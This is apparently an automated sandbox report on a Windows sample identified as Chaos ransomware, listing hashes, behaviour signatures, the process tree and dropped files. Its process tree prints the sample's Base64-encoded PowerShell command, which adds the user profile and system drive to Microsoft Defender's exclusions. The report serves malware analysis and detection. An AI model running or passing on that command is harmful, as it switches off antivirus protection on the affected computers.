Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-03-2024 19:27

General

  • Target

    Version 6.8.exe

  • Size

    1.3MB

  • MD5

    5b5065f49718bd167911f12eec35a942

  • SHA1

    fe005ea9e2e572c79e881e1c57a21585a9577841

  • SHA256

    4265e1f20a3443c5d9401bc2a27d4014ae75c931d60dcd87124e9d01a943a66e

  • SHA512

    e33adb710d12380b8cb00c2092ab43f7eb7d2488d07ddee5fba360c0858f8113a008d99780a4da6f35fccc81b3a18058a266481714c8040d57041923d35ab9bb

  • SSDEEP

    24576:a67Q2xXDBqBdEa+rfhtb5VUkxD/eL+wP+wJtXJtZW6N9VgWVB:aYQ2xXDBUdGNr5xD/SPpXtWiHgmB

Score
10/10

Malware Config

Signatures

  • Chaos

    Ransomware family first seen in June 2021.

  • Chaos Ransomware 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe
    "C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1708
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAcQBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG0AeABwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAZABpACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2872
    • C:\Users\Admin\AppData\Roaming\Version 2.8.exe
      "C:\Users\Admin\AppData\Roaming\Version 2.8.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4988

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_22glfn0k.r1i.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Version 2.8.exe

    Filesize

    223KB

    MD5

    77a0989f046d5404700debc97727ca2b

    SHA1

    d0bdfdc67862e0bfa491d5d4a3313382a7921625

    SHA256

    99b88ce97064536c370e630245018b15bf87c0c1113e2c4c95bfb7dc1078b647

    SHA512

    f918e3bf1d488cb77f06ede3d565396b8a6391f372e79fd6d148e1afec311143332bd91cb6d3f05fd6b348d40bfd4ae02adc79e20c6031aaa08c1d29d5b83aa9

  • memory/1708-18-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp

    Filesize

    10.8MB

  • memory/1708-3-0x0000000002860000-0x0000000002870000-memory.dmp

    Filesize

    64KB

  • memory/1708-2-0x000000001B290000-0x000000001B3CE000-memory.dmp

    Filesize

    1.2MB

  • memory/1708-0-0x0000000000510000-0x000000000065E000-memory.dmp

    Filesize

    1.3MB

  • memory/1708-1-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp

    Filesize

    10.8MB

  • memory/2872-30-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp

    Filesize

    10.8MB

  • memory/2872-29-0x00000269DEC10000-0x00000269DEC32000-memory.dmp

    Filesize

    136KB

  • memory/2872-31-0x00000269DE890000-0x00000269DE8A0000-memory.dmp

    Filesize

    64KB

  • memory/2872-32-0x00000269DE890000-0x00000269DE8A0000-memory.dmp

    Filesize

    64KB

  • memory/2872-35-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp

    Filesize

    10.8MB

  • memory/4988-17-0x00000000000C0000-0x00000000000FE000-memory.dmp

    Filesize

    248KB

  • memory/4988-19-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp

    Filesize

    10.8MB

  • memory/4988-36-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp

    Filesize

    10.8MB